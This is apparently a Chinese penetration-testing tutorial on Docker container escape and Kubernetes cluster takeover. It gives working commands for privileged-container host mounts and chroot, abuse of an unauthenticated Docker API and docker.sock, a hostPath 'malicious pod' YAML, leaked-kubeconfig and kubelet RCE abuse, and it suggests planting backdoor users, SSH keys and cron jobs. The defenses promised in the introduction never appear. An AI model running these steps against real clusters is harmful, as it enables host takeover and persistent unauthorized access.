概述
随着云计算技术的迅猛发展,特别是云原生技术(Cloud Native)的广泛应用,越来越多的企业选择将关键业务系统部署在容器化环境中。容器技术以其轻量级、灵活部署和易于管理的特点,成为现代IT架构的重要组成部分。然而,在网络安全领域,尤其是攻防演练中,攻击者常常将目标锁定在容器环境中,试图通过各种手段控制容器,进而实现对整个系统的渗透和控制。
容器环境虽然提供了一定程度的隔离和安全性,但由于其运行环境的限制,攻击者一旦突破容器的隔离限制,就能够实现对宿主机的访问,从而进行横向渗透,对整个系统安全构成严重威胁。因此,对于容器安全的研究和防护措施的部署变得尤为重要。
在众多容器技术中,Kubernetes(K8S)和Docker无疑是最为流行和广泛使用的容器编排和管理工具。Kubernetes以其强大的集群管理能力,支持大规模容器部署、扩展和管理;而Docker则以其轻量级的容器化解决方案,简化了应用的打包和分发过程。因此,深入探讨Docker容器逃逸技术和Kubernetes集群的安全防护,对于维护企业IT系统的安全性具有重要意义。
本文将详细讨论和记录Docker容器逃逸的常见手段、防御策略,以及Kubernetes集群的安全最佳实践。我们将从攻击者的角度出发,分析容器逃逸的动机和方法,同时从防御者的角度,探讨如何构建一个安全的容器化环境,以保护企业资产免受潜在的安全威胁。通过本文的深入分析,希望能够为读者提供一个全面的视角,以更好地理解和应对容器安全挑战。
Docker特权容器利用
快速起一个特权容器方便进行实验
docker run --privileged --name ubuntu -itd ubuntu:latest /bin/bash
进入到容器Shell
docker exec -it ubuntu /bin/bash
环境判断
拿到目标环境的Shell之后,需要对当前的环境进行判断,判断是物理机(虚拟机)还是容器环境
查看当前系统根目录,是否有 .dockerenv
这个文件
通过查看当前的环境变量是否有 Docker
或 kubernetes
等相关关键词
env
export
查看当前环境的 /etc/hosts
文件,是否有类似于 172.17.0.2 87591d6073a0
这样的 B段地址 + 一段随机字符串
特权容器判断
确定是容器环境后,还需要判断是否为特权容器,如果是特权容器可以极大增加容器逃逸的概率!
查看通过命令查看 CapPrm、CapEff、CapBnd
字段是否存在多个ffff,若存在则极大概率为特权容器
cat /proc/self/status | grep Cap
查看 /dev/
下面的设备,特权容器一般有很多且可能有 fuse
等关键设备,而非特权容器可查看的数目就非常少
特权容器利用
如果当前环境为特权容器,可以把宿主机的根目录挂载到容器中,然后改变当前运行进程的根目录(接管宿主机的Shell)
首先使用 lsblk
,查看每个设备的名称、类型、大小和挂载点等信息,主要是获取宿主机系统盘的挂载位置,以演示机为例,挂载点为 /dev/sda1
在特权容器内,新建一个目录 /host
用于挂载宿主机的根目录,然后通过命令 mount /dev/sda1 /host
将宿主机的根目录挂载到容器的 /host
文件夹中
挂载完成后,可以使用命令 chroot /host
将ROOT工作目录切换到宿主机的根目录,相当于接管了宿主机的Shell
可以正常查看宿主机的高权限文件,也可以使用宿主机的所有命令,相当于直接接管了宿主机
到这里就可以进行后渗透了,比如使用SSH的公私密钥对添加登录后门、写Crontab定时任务、添加后门用户等~
Docker Remote API未授权利用
概念
Docker Remote API是Docker提供的一个RESTful接口,允许用户和应用程序与Docker守护进程(Docker daemon)进行交互。通过Docker API,用户可以管理容器、镜像、网络、卷等Docker资源。
在有些情况下,Docker API开放在2375
(未加密)端口或 2376
(加密)端口,如果Docker守护进程配置为允许通过TCP连接访问,则默认端口为2375。如果启用了TLS加密,则使用2376。
利用
对开放Dokcer API的主机执行Docker相关的命令
docker -H <目标主机IP> images
对开放Dokcer API的主机开启Docker特权容器,将目标机器的宿主机挂载到容器的 /host
目录,然后进入容器内部交互式Shell
docker -H <目标主机IP> run -it -v /:/host debian:latest /bin/bash
Docker Sock挂载利用
如果当前容器是非特权容器,但是容器内挂载了宿主机的 /var/run/docker.sock
文件,也是同样可以进行利用的。需要利用CDK这个工具来进行命令执行
使用CDK工具进行环境检测,查看有哪些可以利用的点
./cdk eva --full
如果有挂载了 /var/run/docker.sock
文件,找到容器内挂载 docker.sock
的路径,可以用CDK工具进行命令执行(无回显)
./cdk run docker-sock-pwn "<docker.socket路径>" "<执行的命令>"
./cdk run docker-sock-pwn "/host/var/run/docker.sock" "touch /host/tmp/success"
K8S基础命令
查看K8S服务节点
kubectl get node
查看k8S节点中所有的命名空间
kubectl get namespace
kubectl get ns
查看所有命名空间的Pod
kubectl get pods -A
查看所有命名空间的Pod,并且输出详细信息
kubectl get pods -A -o wide
查看指定命名空间的所有Pod
kubectl get pods -n <namespace>
查看指定命名空间的POD的详细信息
kubectl describe pod -n <namespace> <pod>
进入指定POD的容器内部shell
kubectl exec -it <pod> -- /bin/bash
进入指定命名空间的POD的容器内部shell
kubectl exec -n <namespace> -it <pod> -- sh
创建pod
kubectl apply -f xxxx.yaml
删除Pod
kubectl delete pod <name>
K8S 配置泄露利用
Kubernetes配置泄露利用指的是攻击者通过特定方式获取K8s master节点的配置文件,然后可以使用kubectl工具来利用该配置文件以操作整个集群,从而获得集群的敏感信息和凭据,接管所有容器,执行恶意操作,如窃取数据、提升权限或部署恶意容器。如果拥有K8S master节点的控制权(可以控制K8S 节点,但是没有Shell),可以尝试给所有node部署恶意容器,
一般情况下Kubernetes的配置文件(kubeconfig)通常位于用户主目录下的 .kube
目录中,文件名为 config
。具体路径为:/root/.kube/config
利用K8S config文件,获取当前集群的所有节点、服务、命名空间
kubectl --kubeconfig ~/.kube/config --insecure-skip-tls-verify=true get node
kubectl --kubeconfig ~/.kube/config --insecure-skip-tls-verify=true get svc
kubectl --kubeconfig ~/.kube/config --insecure-skip-tls-verify=true get ns
利用K8S配置文件得到了K8S集群的操作权限后,然后就可以往集群内部署恶意容器了,思路就是:在部署恶意容器的时候把K8S节点宿主机的根目录挂载到容器内部,从而获取到宿主机的Shell。
需要注意的是:K8S的集群配置文件里面的server ip一般为 server: https://127.0.0.1:6443
,在利用的时候需要把 127.0.0.1
改为
部署恶意容器是一定需要一个镜像的,而一般来说K8S集群会有一些组成K8S用的一些容器镜像,是系统自带的,可以利用系统自带的镜像来部署恶意容器。
一、手动获取获取镜像
- 利用K8S配置文件,查看当前K8S节点中所有的命名空间
kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true get ns
- 利用K8S配置文件,查看 kube-system 命名空间中所有的容器
kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true get pods -n kube-system
- 利用K8S配置文件,查看 kube-system 命名空间中的其中一个容器的详细信息(包含所用到的镜像)
- 找到 Image 键,获取到镜像信息
kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true describe pods -n kube-system svclb-traefik-68a853cb-n9hdg
二、命令一键获取
kubectl --kubeconfig <k8s配置文件> --insecure-skip-tls-verify=true get pods --all-namespaces -o jsonpath="{.items[*].spec.containers[*].image}" |tr -s '[[:space:]]' '\n' |sort |uniq -c
获取到当前节点存在的镜像后,就要开始部署恶意POD了。需要注意的是:有些系统镜像是进入不了Shell的,所以不行的话就要换个镜像。
将下面的容器部署配置保存为 shell-pod.yaml ,需要将 image 更改为系统内已有的镜像。这个配置文件创建了一个名为 shell-pod
的 Pod,包含一个名为 shell-pod
的容器。使用 hostPath
卷将宿主机的根目录挂载到容器内的 /host
目录。
apiVersion: v1
kind: Pod
metadata:
name: shell-pod
namespace: default
spec:
containers:
- name: shell-pod
image: <images> # 可以替换为你需要的镜像
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
然后使用命令部署这个恶意POD:kubectl --kubeconfig <k8s集群配置文件> apply -f shell-pod.yaml
创建成功后,使用命令进入容器,获取到交互式Shell。并且可以发现宿主机的根目录已经成功挂载到POD中的/host目录。
kubectl --kubeconfig <k8s集群配置文件> exec -it shell-pod -- sh
使用 chroot /host
命令将ROOT工作目录切换到宿主机的根目录,相当于接管了宿主机的Shell。可以发现已经成功接管了宿主机。
K8S API未授权利用
Kubernetes 的 API 接口用于管理和操作集群资源,允许用户和自动化工具执行创建、更新、删除等操作。如果未授权访问该 API,攻击者可能会获取集群的敏感信息、操控资源,甚至完全控制集群,从而导致数据泄露、服务中断或系统被恶意利用。Kubernetes 的 API 接口与Kubernetes 配置文件泄露同样致命,可以对集群进行危险操作!
在 Kubernetes 中,6443 和 8080 这两个端口通常有不同的用途:8080 端口是 Kubernetes API 服务器的默认 HTTP 端口(非加密)。虽然有些集群可能会配置此端口,但在生产环境中,使用 HTTPS(6443 端口)是更安全的选择。
利用kubectl工具,对未授权的API接口进行利用,并且执行K8S相关命令
kubectl --insecure-skip-tls-verify=true --server=<目标K8S API> get node
后面就可以用本文写到的K8S 配置文件泄露利用一样,创建恶意POD获取宿主机权限。
K8S kubelet未授权利用
Kubelet 是 Kubernetes 中的核心组件,负责管理每个节点上的容器。它通常监听 10250 端口,用于与 Kubernetes API 服务器和其他组件进行安全通信,处理容器的创建、启动、停止和监控请求,默认情况下10250端口需要鉴权。此外,kubelet 还有一个未授权的 10255 端口,提供基本的监控信息。
如果kubelet API存在未授权,同样可以进行利用,利用kubelet未授权推荐使用工具:【Kubelet API未授权利用】Kubeletctl
- 利用kubeletctl工具,获取所有运行POD的信息
kubeletctl -s <IP> pods
- 利用kubeletctl工具,扫描存在RCE的POD
kubeletctl -s <IP> scan rce
- 利用kubeletctl工具,对存在RCE的POD进行命令执行
kubeletctl -s <ip> exec "<命令>" -n <命名空间> -c <pod名称> -p <容器名称>
- 最新
- 最热
只看作者